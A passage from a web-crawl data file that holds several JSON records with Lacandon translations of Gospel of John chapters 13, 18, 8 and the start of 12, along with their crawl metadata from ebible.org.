acsex ta worex ten. Quire' a werex yʌjtaquirenechex. 20 A mac a cu yacsic a mac tin tuchi'taj, irej wa cu yacsiquen. A mac a cu yacsiquen, irej wa cu yacsic a mac a tu tuchi'tajene'.\nJesús cu ya'aric Judas cu bin u c'ubic\n(Mt. 26.20‑25; Mr. 14.17‑21; Lc. 22.21‑23)\n21 Caj ts'oc ya'aric aro' Jesús yaj cu yubic caj ya'araj ti' u camsʌwinicob:\n―Taj a ba' quin wac techex, turiri' ich techex cu bin u c'ubiquen.\n22 Rajen u camsʌwinicob caj u yʌnxchun u pacran pʌcticob u bʌj quire' mʌ' yerob mac tan u tsicbari' ti'. 23 Ti' yʌnen, quij Juan, raji' Jesús cu jach yajquintic jach bʌytʌc cura'an janʌn yejer Jesús. 24 Simón Pedro caj yesaj ti' Juan ca' u c'atej ti' Jesús wa mac tan u tsicbar ti'. 25 Ti' yʌn Juan bʌytʌc tu' yʌn Jesús, rajen caj u c'ataj:\n―Mac aro'? Jaj Ts'urir ―quij.\n26 Rajen Jesús caj u nuncaj ti', tan ya'aric:\n―A mac a quin ts'ic ti' yoch pan a ts'oc in chuquic, raji' cu bin u c'ubiquen.\nCaj ts'oc u chuquic yoch pan caj u ts'aj ti' Judas, raji' u tet Judas Simón Iscariote. 27 Caj ts'oc u ts'abʌr yoch pan Judas, caj oc quisin ti' Judas. Rajen Jesús caj u ya'araj:\n―A ba' ca bin a betej baje'rer toc sebquintej, betej baje'rer.\n28 U camsʌwinicob a mac yet janʌnob ich u pojche'ir mʌ' yerob biquinin caj ya'araj aro' ti' Judas. 29 Quire' Judas ra' u beyaj quir u cʌnantic u taq'uin u yet camsʌwinicob, rajen caj u sosoc tucrajob Jesús tan ya'aric:\n―Joq'uen mʌnej a ba' ij c'at quir ij qui'qui' janʌnex.\nChen u jer caj u sosoc tucrajob ara'b ten Jesús ti' Judas ca' u jʌsej taq'uin ti' a mac mʌna'. 30 Caj ts'oc u jantic yoch pan Judas sep caj joq'uij, jach ac'bir.\nJesús tu ya'araj u jer u t'ʌn ric'ben\n31 Caj ts'oc u bin Judas, Jesús caj u ya'araj ti' u camsʌwinicob:\n―Baje'rer c'uchij tu q'uinin cu bin u sʌjtiquen tu cotor mac. A teno' tu tuchi' ten C'uj a mac irenechex. Cu bin sʌjta'bir C'uj xan quire' a ba' quin bin in betej. 32 Quire' a ba' quin bin in betej cu bin sʌjta'bir C'uj ten mac. Baxuc a C'ujo' cu bin u yiric jach caremen a teno'. Baje'rer c'uchij tu q'uinin cu yiric caremen a teno'. 33 In chan pararechex, tabar in bin, ca' bin a cʌxtiquenex an ten bic caj in wa'araj ti'ob u winiquirob judío. Baxuc xan quin wa'aric techex tu' quin bin a teno', mʌ' toy c'ucha'an a wor a tarex tu' quin bin. 34 Quin toc aric techex u jer in t'ʌn ric'ben. Quin wac techex: Yajquintex a pacran bʌjex. An ten bic quin yajquintic techex. 35 Wa baxuco' tu cotor cu bin u yerob in camsʌwiniquechex wa ca pacran yajquintex a bʌjex.\nJesús cu ya'aric ti' Pedro: Je' a wa'aric mʌ' a c'ʌ'otene'\n(Mt. 26.31‑35; Mr. 14.27‑31; Lc. 22.31‑34)\n36 Simón Pedro caj u c'ataj ti' Jesús, tan ya'aric:\n―Jaj Ts'urir ―quij―, tub u wich a bin?\nJesús caj u nuncaj ti':\n―A tu' quin bin a teno' mʌ' c'ucha'an a wor a tar baje'rer. Chen pachir je' a tare' ―quij Jesús.\n37 Pedro, caj u ya'araj:\n―Jaj Ts'urir ―quij―, biquinin ca wa'aric mʌ' c'ucha'an in wor in tar ta pach baje'rer? ―quij Pedro―. Cax quimiquen ti' tech jach tsoy tin t'ʌn.\n38 Jesús caj ya'araj ti':\n―A techo' Pedro mʌ' a c'at a quimini', taj quin wac tech mʌ' toy c'aynʌc a caxo' mʌna' u nup u tenin ca' bin a wa'arej mʌ' a c'ʌ'oteni'. Tabar in bin, ca' bin a cʌxtiquenex a teno'.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/lacNT\/JHN13.htm","date":"2022-05-28T08:23:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663013003.96\/warc\/CC-MAIN-20220528062047-20220528092047-00688.warc.gz","language":"lac","language_score":1.0000010729,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.000001072883606}","num_words":1203,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.299,"stopwords_ratio":0.479,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"18\nJesús caj chuquij ten u ts'urirob u winiquirob judío\n(Mt. 26.47‑56; Mr. 14.43‑50; Lc. 22.47‑53)\n1 Caj ts'oc u t'ʌnic C'uj Jesús caj joc' yejer u camsʌwinicob. Caj u ch'ʌctaj pʌchij chan ja' u c'aba' Cedrón. Ti' c'uchij tu' yʌn u chan corir u pʌc'ar Olivo. Ti' mani yejer u camsʌwinicob yaran u che'er Olivo. 2 Judas a cu bin u c'ubic Jesús yer tu yʌn u chan corir quire' ti' nanij Jesús cu bin yejer u camsʌwinicob. 3 Ti' c'uchij Judas yejer ya'ab soldados yejer policía a cu beyajob ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Robob tuchi'ta'b ten u jach ts'urirob sacerdote yejer a fariseojo'. Caj tarob u mʌchmʌnob tʌjte' yejer u quib yejer u mascab xan. 4 Jesús yer tu cotor ba' a ba' cu bin tar ti' rajen raji' nats'ij ich a pimo' a cu tarob caj u c'ataj ti'ob:\n―Mac tan a cʌxtiquex?\n5 Caj u nuncob tan ya'aricob:\n―Tan in cʌxticob Jesús a cu tar ich u cajar Nazaret.\nJesús caj u nuncaj ti'ob tan ya'aric:\n―Raji'en.\nTi' yʌn Judas xan yejer a mac tarob tan u c'ubic Jesús ti' a pimob. 6 Caj ts'oc u ya'aric Jesús: \"Raji'en\", caj cuncun pachnʌjob a mac a cu tarob u chuquicob Jesús ca'ch. Sep caj rubob ich ru'um. 7 Jesús caj u ca' c'ataj ti'ob:\n―Mac tan a cʌxtiquex?\nCaj u nuncajob:\n―Jesús a cu tar ich u cajar Nazaret tan in cʌxticob.\n8 Jesús caj u ya'araj ti'ob:\n―Tin wa'araj techex, raji'en a ta wu'yajex in wa'aric techex. Rajen robob in camsʌwinicob tsire'ej u binob a ti'ob quire' chen ten ca cʌxtiquenex.\n9 Jesús caj ya'araj ti'ob baxuco' soc u nup'sic a ba' caj u ya'araj ti' C'uj caj u t'ʌnaj sam caj ya'araj: \"A mun ta ts'aja tene' mʌ' ju bin sa'tʌr\", baxuc caj u ya'araj Jesús ti' C'uj uch.\n10 Simón Pedro u ch'a'mʌn u mascab caj u jarar tu pix u mascab caj u ch'ʌcaj u xiquin, raji' u c'urew u jach ts'urir sacerdote. Raji' u c'aba' u c'urew Malco. Caj u racch'ʌctaj u xiquin ich u no'oj. 11 Jesús caj u ya'araj ti' Pedro:\n―Wʌc'ʌs jupej a mascab tu pix. Wa baxuc ca betic mʌ' in bin in muc'yaj an ten bic in Tet u c'at in muc'yaj.\nJesús cu bin purbir ʌcʌtan u jach ts'urir sacerdote u c'aba' Anás\n(Mt. 26.57‑58; Mr. 14.53‑54; Lc. 22.54)\n12 Rajen u capitán yejer u soldado yejer policía a cu beyajob ti' sacerdote caj u chucob Jesús caj u c'ʌxob u c'ʌbob, quir u binob u purej. 13 Caj yʌn ch'ic binob u purob ich u jach ts'urir sacerdote, u c'aba' Anás. Anás, raji' tu yʌcantaj Caifás. U ja'an Caifás, raji' u jach ts'urir sacerdote, ra' u yaxq'uinin caj quinsa'b Jesús. 14 Mʌ' u jer Caifás, ra'iri' a tu ya'araj:\n―Jach tsoy ca' quimic turiri' mac ti' tu cotoro'onex quire' cax mʌ' tu cotoro'onex quij quiminex ―quij.\nPedro cu ya'aric mʌ' u c'ʌ'otic Jesús\n(Mt. 26.69‑70; Mr. 14.66‑68; Lc. 22.55‑57)\n15 Simón Pedro, quij Juan, caj binenob tu pach Jesús quire' u jach ts'urir u c'ʌ'oren, quij Juan. Tar binen ich u japnin tu re'a'an naj a yatocho' u jach ts'urir sacerdote tu yʌn Jesús xan. 16 Tar p'at Pedro tancab bʌytʌc tu' yʌn u mac u jor yatoch u jach ts'urir sacerdote. Quire' u c'ʌ'omʌnenob, rajen binen in wa'arej ti' a mac a cu cʌnantic u jor yatoch soc u yacsa' Pedro. Rajen cha'b yocar Pedro tu japnin yatoch tu re'a'an. 17 Rajen a mac cu cʌnantic u jor naj, raji' xquic, caj u c'ataj ti' Pedro:\n―Mʌ' wa tech u camsʌwiniquech a je' xiba'?\nPedro caj u nuncaj tan ya'aric:\n―Mʌ' teni' ―quij Pedro.\n18 Ti' ch'ica'anob u c'urewob u jach ts'urir sacerdote yejer u policía u jach ts'urir sacerdote. Tu nuts'ob u q'uich quire' que'er. U c'ac' a tu t'ʌbajob raji' u chuquir. Tu cu q'uichob ti' ch'ica'an Pedro xan, tan u q'uich xan yejerob.\nYʌn toc u jo'r Jesús ten u jach ts'urir sacerdote\n(Mt. 26.59‑66; Mr. 14.55‑64; Lc. 22.66‑71)\n19 U jach ts'urir sacerdote caj u yʌnxchun u c'atic ti' Jesús:\n―Mun yʌn a camsʌwinic tech? Ba' ta camsaj ti'ob xan?\n20 Jesús caj u ya'araj:\n―Ten ―quij Jesús―, mʌ' jin mucraj ich tu cotor mac caj in camsaj ti'ob ich ʌcʌtan tu cotor mac. Rajra' quin camsicob ich carem naj tu cu naj c'ujinticob C'uj tu cu much'quinticob u bʌj u winiquirob judío. Baxuc ich chan naj tu cu naj c'ujinticob C'uj u winiquirob judío, rajra' tin camsajob. Mʌ' jin muc u camsaji'. 21 Biquinin ca c'atic ten? ―quij Jesús―. C'atej a wu'yej ti'ob a mac tu yubob in camsicob. Robob yerob a ba' caj in wa'araj ti'ob.\n22 Jesús caj ts'oc u ya'aric aro', ti' yʌn turiri' policía a cu beyaj ich carem naj caj u tac' jʌtstaj Jesús, caj ya'araj ti' Jesús:\n―Biquinin ca nunquic baxuco' ti' u jach ts'urir sacerdote?\n23 Jesús caj u nuncaj ti' tan ya'aric:\n―Wa c'as tin wa'araj, arej ten. Tu' yʌn c'as tin wa'araj? Quire' mʌ' c'as tin wa'araj. Biquinin ca tac' jʌtstiquen?\n24 Anás tu tuchi'taj Jesús ich Caifás toc c'ʌxa'an. Raji' u jach ts'urir sacerdote a tan tu yocar u ts'urir sacerdote.\nPedro cu ma'quintic mʌ' ju c'ʌ'otej Jesús\n(Mt. 26.71‑75; Mr. 14.69‑72; Lc. 22.58‑62)\n25 Ti' toy yʌn Pedro, ti' ch'ica'an q'uich. A mac yet q'uich caj u c'ataj ti':\n―Mʌ' wa tech u camsʌwiniquech a je' xiba'?\nPedro caj u ca' ma'quintaj:\n―Mʌ' teni' ―quij.\n26 Ti' yʌn u c'urew u jach ts'urir sacerdote. Raji' u bʌjob a mac ch'ac u xiquin ten Pedro. Caj u c'ataj ti':\n―Mʌ' wa tin wirech yejer a ra xibo' ich u chan corir u pʌc'ar Olivo?\n27 Pedro caj u ca' ma'quintaj:\n―Mʌ' ten ta wirajeni'.\nSasame' caj c'aynʌj cax.\nJesús ʌcʌtan ich Pilato\n(Mt. 27.1‑2, 11‑14; Mr. 15.1‑5; Lc. 23.1‑5)\n28 Caj joc'sa'b Jesús ich Caifás caj bin purbirob ich u palacio gobernador soc ca' to'cac u jo'r. U c'aba' u palacio gobernador pretorio, u cuchir tu cu naj ta'quic u jo'r mac. Chen tabar u sastar. U jach ts'urir sacerdote yejer u rac'ob mʌ' ju yocarob ich palacio. Mʌ' ja wirej, ca' bin c'uchuc tu q'uinin pascua mʌ' u xac'ticob u bʌj yejer a mʌ' u winiquirob judío. Mʌ' toy u jantob yoch u q'uinin pascua. Wa cu yocarobe' mʌ' u cha'bʌr u janticob quire' baxuc u winiquirob judío nanij cu beticob. 29 Rajen Pilato caj joc' tu' yʌnob, caj u c'ataj ti'ob:\n―Ba' si'pir yʌn ti' quir a tar a puric tenex?\n30 Caj u nuncajob tan ya'aricob:\n―Wa mʌna' u si'pir uch mʌ' jin tarob in c'ubicob tech.\n31 Pilato caj u ya'araj ti'ob:\n―Toc ch'a'ej techex a wʌc'ʌs bʌjiri'e'. Ta'quej u jo'r an ten bic ts'iba'an ich a t'ʌn techex.\nU jach ts'urir sacerdote caj u nuncaj ti':\n―U t'ʌn u winiquir romano cu ya'aric mʌ' c'ucha'an in worob in quinsicob mac quire' ra' a beyaj tech.\n32 Baxuc cu bin u tar ti' Jesús an ten bic caj u ya'araj uch. Cu bin quinsbir ich cruz ten u winiquirob romano. 33 Rajen Pilato caj ca' oquij tu cuchir tu nanij u ta'quic u jo'r mac. Pilato caj u ya'araj ti' Jesús:\n―In c'at in wu'yej wa tech u reyech u winiquirob judío?\n34 Jesús caj u ya'araj:\n―Baxuc wa ca tucric tech wa yʌn mac tu ya'araj tech ti' ten?\n35 Pilato caj u nuncaj, tan ya'aric:\n―Bic in wetic aro' mʌ' u winiquir judíojen. A wet winiquirob judío yejer u jach ts'urirob sacerdote a mac tu c'ubech ti' ten. Ba' ta betaj tech ti'ob?\n36 Jesús caj u nuncaj ti' tan ya'aric:\n―A teno' mʌ' in reyintic a tera' ich yoc'ocab. Wa tin reyintic a tera', in camsʌwinicob uch je' u yamtiquenob soc mʌ' u chuquiquenob uch u policía a cu beyajob ich carem naj yejer soldado. Rajen uch mʌ' jin tar ʌcʌtan tech uch soc a ta'quicob in jo'r.\n37 Pilato caj u ya'araj ti'ob:\n―Jaj a techo' ca wa'aric reyech ―quij.\nJesús caj u nuncaj ti':\n―A teno' reyen, rajen taren ich yoc'ocab caj u rochen in nʌ' soc in tsec'tic u t'ʌn C'uj a ba' jach taj. Tu cotor mac a ju c'at u cʌxtic a ba' jach taj cu yubic in t'ʌn.\n38 Pilato caj u ya'araj:\n―Bic yerob mac ba'quiri' taj?\nJesús ara'b ca' quinsa'c\n(Mt. 27.15‑31; Mr. 15.6‑20; Lc. 23.13‑25)\nPilato caj ts'oc u ya'aric aro' caj wʌc'ʌs joc' tu' yʌn u jach ts'urirob sacerdote. Caj u ya'araj ti'ob:\n―Mʌ' jin wiraj wa yʌn u si'pir. 39 Quire' techex nanij quin cha'ic a teno' a mac mʌca'an cu c'uchur tu q'uinin pascua. A c'atex wa jin cha'ic a reyex techex u winiquirex judío?\n40 Tu cotorob caj c'am awʌt'nʌjob tan ya'aricob:\n―Mʌ' a cha'ic aro', cha'ej Barrabás.\nA Barrabáso' raji' cu ya'cric ba'.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/lacNT\/JHN18.htm","date":"2022-05-28T08:27:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663013003.96\/warc\/CC-MAIN-20220528062047-20220528092047-00693.warc.gz","language":"lac","language_score":0.9999881983,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999881982803345}","num_words":1409,"character_repetition_ratio":0.096,"word_repetition_ratio":0.003,"special_characters_ratio":0.304,"stopwords_ratio":0.466,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"8\n1 Chen a Jesúso' yejer u camsʌwinicob caj binob ich u jo'r wits u c'aba' Olivos. 2 Caj sasij caj sutnʌj Jesús caj oc ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Caj u rʌc much'quintajob u bʌj ich Jesús. Caj curʌj Jesús caj u yʌnxchun u camsic a pimob. 3 Caj c'uchob yʌjcamsʌyʌjirob u t'ʌn Moisés yejer a fariseojo'. Caj tarob u purej xquic a jach irir tan u man tu c'asir. Caj c'uchob caj u purajob ʌcʌtan tu yʌn Jesús. 4 Robob caj ya'arob ti' Jesús:\n―In wʌjcamsʌyʌjirechob, caj in wirob a je' xquica' caj in jach chucob tu cu man ich u c'asir. 5 Quire' Moisés tu toc araj uch ca' ic ch'inex u jo'r a xquico' a quic jach iriquex cu man tu c'asir. Are tenob ba' ca wa'aric a techo'?\n6 Baxuc caj ya'arob quire' u c'atob u tumticob yor Jesús soc u pʌyicob u si'pir soc yʌn ba'wir quir u taquicob u jo'r. Jesús caj p'uxrʌj caj u ts'ibtaj ich u noy ru'um yejer u yar u c'ʌb. 7 Mʌ' ju ts'ocor u c'aticob ti' caj u tajquintaj u bʌj Jesús caj ya'araj:\n―Arej a mac a mʌna' u si'pir tu yʌnechex, arej ti' raji' cu yʌn bat'an ch'inic u jo'r yejer tunich a ray pay same'.\n8 Caj ca' p'uxrʌj Jesús u ts'ibtej ich noy ru'um. 9 Caj ts'oc u yubicob ba' nunca'b ten Jesús caj rʌc joc'ob tan u binob. Jujuntur caj rʌc binob quire' caj u tucurajob u si'pirob. Caj u yʌnxchun u binob a mac jach uch ch'ijic, pachir caj rʌc binob a mʌ' uch ch'ijiqui'. P'atij Jesús yejer xquic ich a pimob chen u ts'urirob u winiquirob judío binob. 10 Jesús caj u tajquintaj u bʌj a mac tarob u purob a xquico' rʌc binob chen xquic ti' yʌn. Rajen Jesús caj ya'araj ti':\n―Xquic ―quen―. A mac a tu ta'cajob a jo'r sam mʌna', rʌc bin. Mʌna' mac tu ch'inaj a jo'r quire' yʌn a si'pir ―quij Jesús.\n11 A xquico' caj u ya'araj:\n―Mʌna' mac tu ch'inaj in jo'r, Jaj Ts'urir ―quij xquic.\nJesús caj ya'araj ti':\n―Baxuc a teno', mʌ' in ts'aj a muc'yaj cax yʌn a si'pir. Xen ―quij―, mʌ' a yʌnyʌn acsic a si'pir.\nJesús u sasirir ich yoc'ocab\n12 Jesús cu ca' camsic a pimob ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Caj u ya'araj:\n―A teno' a quin camsic mac a ti' yʌnob ich yoc'ocab, iren quin yerc'ac'tic mac. Tu cotor mac a cu yacsic tu yor ten, mʌ' u binob ich yac'birir. Je' u binob tu sasirir quire' quin ts'ic ti'ob u cuxtar a ric'beno'.\n13 A fariseojo' caj ya'arob ti' Jesús:\n―A wʌc'ʌs bʌjiri' ca tsec'tic tech, rajen mʌ' in quibicob. Mʌna' yʌj'irirech soc ya'aric taj a ba' ca wa'aric.\n14 Jesús caj u nuncaj ti'ob tan ya'aric:\n―Cax wa ca tucriquex in wʌc'ʌs bʌjiri' tan in tsec'tic. Taj a ba' quin wac techex. In wer tub in tar, baxuc in wer tu' quin bin. A techexo' mʌ' a werex tub in tar, mʌ' a werex tu' quin bin. 15 A techexo' seb ca quibiquex wa ju jer mac yʌn u si'pir. Mʌ' a qui' tucrex. A teno' ―quij Jesús―, mʌ' in tucric ba' ti' u jer mac. 16 Wa yʌn ba' quin tucric, taj a ba' quin tucric. In wʌc'ʌs bʌjiri' mʌ' in tucric quire' p'eri' quin tucric yejer in Tet, a mac tu tuchi'tajen. 17 Ti' ts'iba'an ich u t'ʌn C'uj ti' techex: \"Tsoy a quibiquex u t'ʌn quire' ca'tur yʌj'irirob wa quet u t'ʌnob.\" 18 A teno' quin tsec'tic ti' in wʌc'ʌs bʌjiri'. In Teto' a mac tu tuchi'tajen, cu tsec'tic ti' ten xan.\n19 Robob caj u c'atob ti' tan ya'aricob:\n―Tu' yʌn a Tet a ca tsicbʌtic tenob?\nJesús caj u nuncaj ti'ob tan ya'aric:\n―A techexo' mʌ' a werenexi'. Mʌ' a werex in Tet xan. Wa baxuc a werenex baxuc a werex in Tet xan.\n20 Jesús tan u camsic a je' t'ʌna' ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío tu cu but'icob u taq'uin quir u sijic ti' u beyaj C'uj. Mʌna' mac c'ucha'an yorob u chuquicob u mʌquejob quire' mʌ' c'uchuc tu q'uinin u chuquicob u mʌquejob.\n\"A tu' quin bin a teno' mʌ' c'ucha'an a worex a tarexi'\"\n21 Jesús caj u ca' araj ti'ob:\n―Tu' quin bin a teno', ca bin a cʌxtiquenex, chen mʌ' ja bin a wiriquenex ca bin a quiminex ti' a si'pirex quire' tu' quin bin a teno' mʌ' c'ucha'an a worexi' a tarex.\n22 Rajen u winiquirob judío caj u pacran arob, tan ya'aricob:\n―Bin u ca' quins u bʌj, tin t'ʌn quire' cu ya'aric: \"Tu' quin bin mʌ' c'ucha'an a worex a tarexi'\", ―baxuc cu pacran aricob.\n23 Jesús caj ya'araj ti'ob:\n―Mʌ' p'eri'o'onex, rajen mʌ' p'eri' ic tucriquex ba', quire' a teno' tar in tar ich ca'anan, quire' a techexo' toc ti' yʌnechex ich yoc'ocab. 24 Rajen quin wa'aric techex: Bin a ca' quiminex ti' a si'pirex, quire' mʌ' ja wacsex ta worex ten wa ten a mac cu bin u rucsic a si'pirex. Rajen ca quiminex ti' a si'pirex.\n25 Robob caj u c'atob ti' Jesús tan ya'aricob:\n―Maquechi'?\nJesús caj u nuncaj ti'ob tan ya'aricob:\n―A teno' tin toc araj techex uch maqueni'. 26 Yʌn toy ya'ab quir in wa'aric techex baxuc quir in wa'aric techex ba' si'pir yʌn techex. A teno' quin chen aric techex a ba' caj u ya'araj ten in Tet a mac tu tuchi'tajen. In Tet a mac tu tuchi'tajen, taj u t'ʌn a ti'o'.\n27 Quire' mʌ' ju yacsob tu yor ti' Jesús quire' raji' Cristo a tuchi'ta'b ten C'uj, rajen mʌ' ju najtob wa tan u tsicbar ti' u Tet C'uj. 28 Rajen Jesús caj ya'araj ti'ob:\n―Ca' bin a sinenex ich cruz quire' a teno' a mac tuchi'ta'ben ten C'uj, ra'iri' u q'uinin ca' bin a najtex a wʌjtaquirenex. Ra'iri' u q'uinin xan ca' bin a wetiquex, jari' tin wa'araj techex an ten bic tu ya'araj in Tet, a mac a tu tuchi'tajen. 29 In Teto' mʌ' u p'ʌten quire' rajra' quin betic a ba' u c'at ―quij Jesús.\n30 Ti' toy cu camsic ti'ob, ya'ab mac caj u yacsajob tu yorob ti', quire' yerob yʌjtaquirob.\nA mac a tu yacsaj tu yor ti' u t'ʌn C'uj yejer a mac a mʌ' tu yacsaj tu yor\n31 Rajen Jesús caj ya'araj ti' u winiquirob judío a tu yacsajob tu yorob ti':\n―Wa ja techexo' teni' ta toc acsex ta worex a ba' tin wa'araj techex a baxuc aro' in jach camsʌwiniquechex. 32 A teno' tan in camsic techex a ba' taj, a je' t'ʌna' a ba' taji' cu bin u cha'bʌr techex ti' a ca ts'urintiquex.\n33 U winiquirob judío caj u nuncajob ti' tan ya'aricob:\n―A tenobob u pararenob in nunquir Abraham, mʌ' in ts'urinticob ba'. Bic tabar ca wa'aric a siptiquenex ti' ba'.\n34 Jesús caj ya'araj ti'ob:\n―Taj a ba' quin wac techex. Tu cotor a mac a cu man tu c'asir raji' cu ts'urintic u si'pirob. 35 A mac a mʌnbir ten u ts'uriro' quir u beyaj ti', raji' mʌ' rajra' cu p'atʌr tu yatoch u ts'urir quire' cu bin ca' canbir ten u ts'urir. Chen a mac a jach u parar u ts'uriro', raji' u parar munt q'uin. 36 A techexo' irechex a mac a mʌnbir ten ts'ur chen a teno' a mac tuchi'ta'b ten C'uj c'ucha'an in wor in cha'iquechex soc jach jaj cha'anechex. 37 Bʌ'wir ca waquex u pararechex a nunquirex Abraham quire' techex a c'atex a quinsiquenex quire' c'as ca tucriquex ta pixamex. Rajen mʌ' ju yocar in t'ʌn ta pixamex. 38 A teno' tin tsec'taj an ten bic in Tet tu cha'j in wiric. A techexo' ca betiquex an ten bic a tet quisin tu toc ts'aj u t'ʌnintechex.\n39 Robob caj u nuncob ti' tan ya'aricob:\n―Ic tetex raji' ic nunquir Abraham.\nCaj ara'b ti'ob ten Jesús:\n―Wa ju pararechex a nunquirex Abraham ta quibex u t'ʌn C'uj xan an ten bic a nunquirex Abraham caj u quibaj u t'ʌn C'uj uch. 40 Chen baje'rer a c'at a quinsiquenex quire' caj in wa'araj techex a ba' jach taji' a tin wu'yaj ich C'uj. A nunquirex Abraham mʌ' ju betaj baxuc a'rayo'.\nJesús caj ya'araj ti'ob:\n―Ca betiquex u beyaj a tetex quisin.\n41 Robob caj u nuncob ti' tan ya'aricob:\n―A tenob mʌ' u pararenob a yʌn u si'pir ―quij ya'aric u winiquirob judío―. Jari' yʌn tenob turiri' in tetob. Raji' in Tetob C'uj ―baxuc caj ya'araj u winiquirob judío ti' Jesús.\n42 Jesús caj ya'araj ti'ob:\n―Wa ja jach tetex C'uj je' a yajquintiquenex quire' a teno' taren ich C'uj. Mʌ' in bʌjiri' taquen quire' C'uj tu tuchi'tajen. 43 Mʌ' ja najtiquex in t'ʌn quire' mʌ' a c'at a najtiquex in t'ʌn. 44 A techexo' a tetex quisin. Mʌ' ja wirej, ta pixamex ca betiquex a ba' u c'at a tetex. Raji' yʌjquinsir mac uch tu yʌnxchun a winico' ich yoc'ocab uch. Mʌ' u c'at a ba' jach taji' quire' mʌna' u tajir tu pixam. Wa cu tus xan, cu tus quire' a cu tuso' u tet quisin, rajen cu camsic tus. 45 Quire' taj a ba' quin wac techex, rajen mʌ' a c'atex a quibiquex in t'ʌn. 46 Mʌ' c'ucha'an a worex a wiriquex wa yʌn in si'pir. In t'ʌn a tin wa'araj techex taj, rajen biquinin mʌ' ja quibiquex in t'ʌn? 47 A maque', raji' C'uj yʌnin cu yubic u t'ʌn C'uj. Rajen a techexo' mʌ' C'uj yʌninechex. Rajen mʌ' a c'atex a wu'yiquex u t'ʌn.\nU berer ti' yʌn Cristo uch mʌ' rochac Abraham ten u nʌ'\n48 Caj ya'arob u winiquirob judío ti' Jesús.\n―Taj a ba' quic tucriquex uch. U winiquirech samaria aca'an tech c'ac'as quisin ―baxuc tan u tus pac'ʌr u pach Jesús ten u winiquirob judío.\n49 Jesús caj u nuncaj ti'ob, tan ya'aric;\n―A teno' mʌ' aca'an ten c'ac'as quisini'. A teno' quin sʌjtic in Tet chen a techexo' mʌ' ja sʌjtiquenex. 50 A teno' mʌ' jin cʌxtic soc u sʌjtiquen mac quire' in Tet u c'at yiric u sʌjtiquen tu cotor mac. A mac mʌ' u sʌjtiquen ca' bin c'uchuc tu q'uinin. Je' u ya'ara' ten C'uj: Biquinin mʌ' ja sʌjtaj Jesús uch? 51 Taj a ba' quin wac techex a mac a cu quibic in t'ʌn mʌ' ju bin quimin ―quij Jesús.\n52 U winiquirob judío caj ya'arob:\n―Baje'rer ij quer aca'an quisin tech. Quire' ic nunquir Abraham quimij uch. Baxuc yʌjtseq'uirob u t'ʌn quimob uch. Chen tech ca wa'aric: \"A mac a cu quibic a ba' quin wa'aric ti' mʌ' ju bin quimin.\" 53 Biquinin a techo' ca tucric jach no'jech a beyaj? Ic nunquir Abraham a mac quimij uch, jach no'j beyaj. Baxuc yʌjtseq'uirob u t'ʌn C'uj caj quimob jach no'j beyajob uch. Mac ca tucric jach manan no'j a beyaj, tech wa?\n54 Jesús caj u nuncaj ti'ob, tan ya'aric:\n―Wa quin cʌxtic soc u sʌjtiquen mac jot aro'. Wa quin cʌxtic soc u sʌjtiquen mac, in Tet a mac ca tucriquex a C'uj techex, raji' cu ya'aric: \"Jach caremech in pararech Jesús.\" 55 A techexo' mʌ' a werex C'uj. Chen a teno' in wer C'uj. Wa quin wa'aric mʌ' in wer C'uj, baxuc aro' tus in ca' an ten bic techex ca tusex. Chen a teno' in jach er C'uj quin wu'yic u t'ʌn. 56 A tetex a nunquirex Abraham a ca tsicbʌtiquex qui'ji yor uch quire' yuba tabar in tar. Tu quibaj je' in tare' rajen tu jach qui'quintaj yor uch.\n57 Rajen u winiquirob judío caj ya'arob ti' Jesús:\n―A techo' mʌ' c'uchuc cincuenta yaxq'uinechi'. Tu' ta wiraj ic nunquir Abraham quire' mʌ' uch ch'ijiquechi'?\n58 Jesús caj u nuncaj ti'ob tan ya'aric:\n―Taj quin wac techex. Mʌ' toy rochac Abraham ten u nʌ' uch in toc berer uch ―quij Jesús.\n59 Rajen u winiquirob judío caj u chucob tunich quir u ch'inicob u jo'r Jesús. Jesús caj u ta'c u bʌj ich u rac'ob. A baywo' ca' joc' tancab ti' manij chumuc tu' yʌnob, caj bin.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/lacNT\/JHN08.htm","date":"2022-05-29T09:07:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663048462.97\/warc\/CC-MAIN-20220529072915-20220529102915-00342.warc.gz","language":"lac","language_score":1.0000048876,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000048875808716}","num_words":1952,"character_repetition_ratio":0.069,"word_repetition_ratio":0.005,"special_characters_ratio":0.289,"stopwords_ratio":0.49,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12\nA xquico' cu jic'tic ts'ac tu yoc Jesús\n(Mt. 26.6‑13; Mr. 14.3‑9)\n1 Yʌn seis u q'uinin quir u c'uchur tu q'uinin pascua. Caj binob Jesús yejer u camsʌwinicob ich u cajar Betania tu cʌja'an Lázaro a tu ric'saj Jesús tu quimirir. 2 Marta caj u pʌyaj Jesús yejer u camsʌwinicob quir u qui' janʌnob. Ti' yʌn Lázaro yejer u jer macob tan u janʌnob yejer ich u pojche'ob. Marta cu tar purbir yoch ti'ob. 3 María, u yits'in Marta, tu ch'aj tu' yʌn Jesús chumuc kilo a qui' u boque' u c'aba' nardo. Jach co'oj a nardojo' caj u rʌc jic'taj tu yoc Jesús, María caj u tisaj yejer u wʌc'ʌs tsotser u jo'r. Tu cotor u japnin yatoch tu rʌc bac'aj u boc nardo. 4 Ti' yʌn Judas Iscariote u yet janʌn Jesús, raji' u parar 